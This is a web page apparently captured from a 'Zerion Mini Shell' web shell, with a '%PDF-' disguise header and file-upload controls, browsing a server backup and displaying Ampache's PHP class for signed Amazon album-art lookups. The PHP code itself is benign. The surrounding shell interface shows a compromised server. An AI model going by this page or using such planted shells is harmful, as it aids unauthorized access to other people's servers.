%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/ampache.varak.net/modules/infotools/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/ampache.varak.net/modules/infotools/AmazonSearchEngine.class.php

<?php
/**
 * LICENSE: GNU General Public License, version 2 (GPLv2)
 * Copyright 2001 - 2014 Ampache.org
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 */

/**
 * AmazonSearch Class
 *
 * This class accepts 3 tokens: a public_key (Amazon API ID),
 * a private_key (Amazon API password used for signing requests),
 * and an associate_tag (Amazon Associate ID tag) and creates a signed
 * query to request information (images) from the Amazon Web Service API.
 * Currently it is semi-hardcoded to do music searches and only return
 * information about the album art.
 *
 * This class has been updated to conform to changes made to the AWS on 02/21/2012.
 * https://affiliate-program.amazon.com/gp/advertising/api/detail/api-changes.html
 */
class AmazonSearch
{

    var $base_url_default = 'webservices.amazon.com';
    var $url_suffix = '/onca/xml';
    var $base_url;
    var $search;
    var $public_key;    // AWSAccessKeyId
    var $private_key;   // AWSSecretKey
    var $associate_tag; // Amazon Affiliate Associate Tag
    var $results = array();  // Array of results
    var $_parser;   // The XML parser
    var $_grabtags; // Tags to grab the contents of
    var $_sourceTag; // source tag don't ask
    var $_subTag; // Stupid hack to make things come our right
    var $_currentTag; // Stupid hack to make things come out right
    var $_currentTagContents;
    var $_currentPage = 0;
    var $_maxPage = 1;
    var $_default_results_pages = 1;
    var $_proxy_host = ""; // Proxy host
    var $_proxy_port = ""; // Proxy port
    var $_proxy_user = ""; // Proxy user
    var $_proxy_pass = ""; // Proxy pass

    /**
     * Class Constructor
     */
    function AmazonSearch($public_key, $private_key, $associate_tag, $base_url_param = '')
    {

        /* If we have a base url then use it */
        if ($base_url_param != '') {
            $this->base_url = str_replace('http://', '', $base_url_param);
            debug_event('amazon-search-results', 'Retrieving from ' . $base_url_param . $this->url_suffix, '5');
        } else {
            $this->base_url = $this->base_url_default;
            debug_event('amazon-search-results', 'Retrieving from DEFAULT', '5');
        }

        // AWS credentials
        $this->public_key = $public_key;
        $this->private_key = $private_key;
        $this->associate_tag = $associate_tag;

        $this->_grabtags = array(
            'ASIN',
            'ProductName',
            'Catalog',
            'ErrorMsg',
            'Description',
            'ReleaseDate',
            'Manufacturer',
            'ImageUrlSmall',
            'ImageUrlMedium',
            'ImageUrlLarge',
            'Author',
            'Artist',
            'Title',
            'URL',
            'SmallImage',
            'MediumImage',
            'LargeImage'
        );

    } // AmazonSearch

    /**
     * setProxy
     * Set the class up to search through an http proxy.
     * The parameters are the proxy's hostname or IP address (a string)
     * port, username, and password. These are passed directly to the
     * Requests class when the search is done.
     */
    function setProxy($host = '', $port = '', $user = '', $pass = '')
    {
        if ($host)
            $this->_proxy_host = $host;
        if ($port)
            $this->_proxy_port = $port;
        if ($user)
            $this->_proxy_user = $user;
        if ($pass)
            $this->_proxy_pass = $pass;
    } // setProxy

    /**
     * Create the XML parser to process the response.
     */
    function createParser()
    {
        $this->_parser = xml_parser_create();

        xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);

        xml_set_object($this->_parser, $this);

        xml_set_element_handler($this->_parser, 'startElement', 'endElement');

        xml_set_character_data_handler($this->_parser, 'cdata');
    } // createParser

    /**
     * Run a search.
     *
     * @param string $url The URL of the Amazon webservice.
     */
    function runSearch($url)
    {

        // create the parser
        $this->createParser();

        // get the proxy config 
        $options = $this->getProxyConfig();

        // make the request and retrieve the response
        $request = Requests::get($url, array(), $options);
        $contents = $request->body;

        //debug_event('AMAZON XML', $contents, 5);
        if (!xml_parse($this->_parser, $contents)) {
            debug_event('amazon-search-results', 'Error:' . sprintf('XML error: %s at line %d', xml_error_string(xml_get_error_code($this->_parser)), xml_get_current_line_number($this->_parser)), '1');
        }

        xml_parser_free($this->_parser);
    } // runSearch

    /**
     * Build the proxy options array.
     *
     * @return array() $options The array of proxy config options.
     */
    function getProxyConfig(){
        
        $options = array();
        if ($this->_proxy_host) {
            $proxy = array();
            $proxy[] = $this->_proxy_host . ( $this->_proxy_port ? ':' . $this->_proxy_port : '');
            if ($this->_proxy_user) {
                $proxy[] = $this->_proxy_user;
                $proxy[] = $this->_proxy_pass;
            }
            $options['proxy'] = $proxy;
        }
        return $options;
    } // getProxyConfig

    /**
     * Create the search string.
     *
     * @param array() $terms The serach terms to include within the query.
     * @param string $type The type of result desired.
     * @return string $results The XML return string.
     */
    function search($terms, $type = 'Music')
    {
        $params = array();

        $params['Service'] = 'AWSECommerceService';
        $params['AWSAccessKeyId'] = $this->public_key;
        $params['AssociateTag'] = $this->associate_tag;
        $params['Timestamp'] = gmdate("Y-m-d\TH:i:s\Z");
        $params['Version'] = '2009-03-31';
        $params['Operation'] = 'ItemSearch';
        $params['Artist'] = $terms['artist'];
        $params['Title'] = $terms['album'];
        $params['Keywords'] = $terms['keywords'];
        $params['SearchIndex'] = $type;

        // sort by keys
        ksort($params);

        $canonicalized_query = array();

        foreach ($params as $param => $value) {
            $param = str_replace("%7E", "~", rawurlencode($param));
            $value = str_replace("%7E", "~", rawurlencode($value));

            $canonicalized_query[] = $param . "=" . $value;
        }

        // build the query string
        $canonicalized_query = implode('&', $canonicalized_query);
        $string_to_sign = 'GET' . "\n" . $this->base_url . "\n" . $this->url_suffix . "\n" . $canonicalized_query;

        $url = 'http://' . $this->base_url . $this->url_suffix . '?' . $canonicalized_query . '&Signature=' . $this->signString($string_to_sign);

        $this->runSearch($url);

        unset($this->results['ASIN']);

        return $this->results;
    } // search

    /**
     * Sign a query string
     *
     * @param string $string_to_sign The string to sign
     * @return string $signature The signed query.
     */
    function signString($string_to_sign){
        
        // hash and encode the query string
        $signature = base64_encode(hash_hmac("sha256", $string_to_sign, $this->private_key, true));

        // urlencode the signed string, replace illegal char
        $signature = str_replace("%7E", "~", rawurlencode($signature));

        return $signature;
    } // signString

    /**
     * Lookup the selected item by the 'Amazon Standard Identification Number'
     *
     * @param string $asin The 'Amazon standard Identification Number'
     * @param string $type The category of results desired from the web service.
     */
    function lookup($asin, $type = 'Music')
    {

        if (is_array($asin)) {

            foreach ($asin as $key => $value) {
                
                $this->runSearchAsin($key);
            }
        } // if array of asin's
        else {

            $this->runSearchAsin($url);
        } // else

        unset($this->results['ASIN']);

        return $this->results;
    } // lookup

    /**
     * Query the AWS for information about the selected item by ASIN and parse the results.
     *
     * @param string $asin The 'Amazon standard Identification Number'
     */
    function runSearchAsin($asin)
    {
        
        // get the proxy config 
        $options = $this->getProxyConfig();

        // create the xml parser
        $this->createParser();

        $options = array();

        $params = array();

        $params['Service'] = 'AWSECommerceService';
        $params['AWSAccessKeyId'] = $this->public_key;
        $params['AssociateTag'] = $this->associate_tag;
        $params['Timestamp'] = gmdate("Y-m-d\TH:i:s\Z");
        $params['Version'] = '2009-03-31';
        $params['Operation'] = 'ItemLookup';
        $params['ItemId'] = $asin;
        $params['ResponseGroup'] = 'Images';

        ksort($params);

        // assemble the query terms
        $canonicalized_query = array();
        foreach ($params as $param => $value) {
            $param = str_replace("%7E", "~", rawurlencode($param));
            $value = str_replace("%7E", "~", rawurlencode($value));

            $canonicalized_query[] = $param . "=" . $value;
        }

        // build the url query string
        $canonicalized_query = implode('&', $canonicalized_query);
        $string_to_sign = 'GET' . "\n" . $this->base_url . "\n" . $this->url_suffix . "\n" . $canonicalized_query;

        $url = 'http://' . $this->base_url . $this->url_suffix . '?' . $canonicalized_query . '&Signature=' . $this->signString($string_to_sign);

        // make the request
        $request = Requests::get($url, array(), $options);
        $contents = $request->body;

        if (!xml_parse($this->_parser, $contents)) {
            debug_event('amazon-search-results', 'Error:' . sprintf('XML error: %s at line %d', xml_error_string(xml_get_error_code($this->_parser)), xml_get_current_line_number($this->_parser)), '1');
        }

        xml_parser_free($this->_parser);
    } // runSearchAsin

    /**
     * Start XML Element.
     */
    function startElement($parser, $tag, $attributes)
    {

        if ($tag == "ASIN") {
            $this->_sourceTag = $tag;
        }
        if ($tag == "SmallImage" || $tag == "MediumImage" || $tag == "LargeImage") {
            $this->_subTag = $tag;
        }

        // If it's in the tag list, don't grab our search results
        if (strlen($this->_sourceTag)) {
            $this->_currentTag = $tag;
        } else {
            if ($tag != "TotalPages") {
                $this->_currentTag = '';
            } else {
                $this->_currentTag = $tag;
            }
        }
    } // startElement

    /**
     * CDATA handler.
     */
    function cdata($parser, $cdata)
    {

        $tag = $this->_currentTag;
        $subtag = $this->_subTag;
        $source = $this->_sourceTag;

        switch ($tag) {
            case 'URL':
                $this->results[$source][$subtag] = trim($cdata);
                break;
            case 'ASIN':
                $this->_sourceTag = trim($cdata);
                break;
            case 'TotalPages':
                debug_event('amazon-search-results', "TotalPages= " . trim($cdata), '5');
                $this->_maxPage = trim($cdata);
                break;
            default:
                if (strlen($tag)) {
                    $this->results[$source][$tag] = trim($cdata);
                }
                break;
        } // end switch
    } // cdata

    /**
     * End XML Element
     */
    function endElement($parser, $tag)
    {

        // zero the tag
        $this->_currentTag = '';
    } // endElement

} // end AmazonSearch
?>

Zerion Mini Shell 1.0